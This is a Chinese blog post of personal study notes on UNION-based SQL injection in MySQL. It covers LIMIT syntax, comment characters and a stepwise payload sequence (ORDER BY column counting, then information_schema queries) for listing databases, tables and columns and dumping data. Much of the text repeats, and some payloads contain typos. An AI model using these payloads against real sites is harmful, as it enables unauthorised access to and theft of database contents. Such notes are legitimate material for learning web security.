SQL注入之联合查询注入
2017-10-31 18:06
357 查看
关于这方面网上的资料已经很多了,其中该博客(http://www.jianshu.com/p/399881e79b1f)已经写得很详细了,我就不再赘述了。只是把我测试过程中踩过的坑、要点和一些疑问记录下来。
order by
information_schema
limit
select * from table limit m,n
其中m是指记录开始的index,从0开始,表示第一条记录
n是指从第m+1条开始,取n条。
select * from tablename limit 2,4
即取出第3条至第6条,4条记录
‘#’:# 开头到行尾的都为注释,只能注释一行。
‘– ‘(2个减号 一个空格):-开头到行尾都为注释 , 只能注释一行。
‘–+’:在url里我们可以写成这样
‘/xxx/’:可以注释多行,但是一定要闭合,不然出错。
‘/!xxx/’:可以跨行注释,但是一定要闭合,不然出错。
注释符的重要作用是为了符合后面的单引号 或双引号 或其它符合,如果不闭合的话 sql就无法正常运行,包括流程中提到的攻击语句,一般也是需要加注释符的。我这里没有写 是因为你需要根据实际情况从以上四种注释符中选择一种,常见的是加“#”,或者是“-- ”。
1、#不生效
当url为http://test.com/c.php?key=999时,正常输出:999
当url为http://test.com/c.php?key=9#888时,只能输出:9
所以我在做练习的时候,发现#不生效。
union select 1,2,group_concat(table_name) from information_schema.schemata
下面两条命令也得到数据库,但是必须去重 不然里面有重复的信息。
union select 1,2,distinct table_schema from information_schema.talbes limit 1,1
union select 1,2,group_concat(distinct table_schema) from information_schema.talbes limit 1,1
union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=数据库的16进制编码
不明白为什么要转换成16进制编码?
union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码
https://www.waitalone.cn/mysql-injection-summary.html
http://blog.csdn.net/moqiang02/article/details/39000667
https://segmentfault.com/a/1190000007926959
知识点
union联合查询order by
information_schema
limit
select * from table limit m,n
其中m是指记录开始的index,从0开始,表示第一条记录
n是指从第m+1条开始,取n条。
select * from tablename limit 2,4
即取出第3条至第6条,4条记录
## 注释符##
mysql的注释有4 种:‘#’:# 开头到行尾的都为注释,只能注释一行。
‘– ‘(2个减号 一个空格):-开头到行尾都为注释 , 只能注释一行。
‘–+’:在url里我们可以写成这样
‘/xxx/’:可以注释多行,但是一定要闭合,不然出错。
‘/!xxx/’:可以跨行注释,但是一定要闭合,不然出错。
注释符的作用
关于注释,没有查到太多的资料,但是在真实的渗透过程中,注释非常重要,往往会影响到我们的语句是否成功。注释符的重要作用是为了符合后面的单引号 或双引号 或其它符合,如果不闭合的话 sql就无法正常运行,包括流程中提到的攻击语句,一般也是需要加注释符的。我这里没有写 是因为你需要根据实际情况从以上四种注释符中选择一种,常见的是加“#”,或者是“-- ”。
案例
下面是我自己遇到的几个案例。1、#不生效
<?php echo $_GET['key']; ?>
当url为http://test.com/c.php?key=999时,正常输出:999
当url为http://test.com/c.php?key=9#888时,只能输出:9
所以我在做练习的时候,发现#不生效。
流程
1、猜解列数,得到显示位
1’ order by 2 –2、得到数据库
union select 1,2,schema_name from information_schema.schemata limit 1,1union select 1,2,group_concat(table_name) from information_schema.schemata
下面两条命令也得到数据库,但是必须去重 不然里面有重复的信息。
union select 1,2,distinct table_schema from information_schema.talbes limit 1,1
union select 1,2,group_concat(distinct table_schema) from information_schema.talbes limit 1,1
3、得到表名
union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=数据库的16进制编码 limit 1,1union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=数据库的16进制编码
不明白为什么要转换成16进制编码?
4、得到列名
union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码 limit 1,1union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码
5、猜解数据
union select 1,2,3,字段1,5,字段2,7,8 from 数据库.表参考
http://www.jianshu.com/p/399881e79b1fhttps://www.waitalone.cn/mysql-injection-summary.html
http://blog.csdn.net/moqiang02/article/details/39000667
https://segmentfault.com/a/1190000007926959
相关文章推荐
- sql注入之联合语句查询
- 【实战】利用联合查询--手工SQL注入拿下网站
- SQL多表联合查询(Access数据库表)
- SQL使用(一)-----联合查询
- SQL--联合查询【Union】
- MyBatis 模糊查询 防止Sql注入
- 又一个通用分页存储过程,支持表别名,多表联合查询SQL语句--转载
- java 避免不同库使用left join查询速率低效 采用 sql 注入foreach 遍历list查询方式
- Sql联合查询
- Oracle+SQL Server联合查询
- sql2005 内连接 外连接 交叉连接 查询 与联合查询(合并查询)
- sql语句多表联合查询(学生表/课程表/教师表/成绩表 )
- SQL联合查询
- 使用PDO查询mysql防止SQL注入
- (转载)SQL联合查询中的关键语法
- SQL联合查询中的关键语法
- SQL 综合运用(SQL Server 2005)(别名、时间处理、字段处理、联合查询……)
- SQL里各种联合查询总结
- SQL学习(4) 连接查询 联合查询
- 关于sql多表差异化联合查询的问题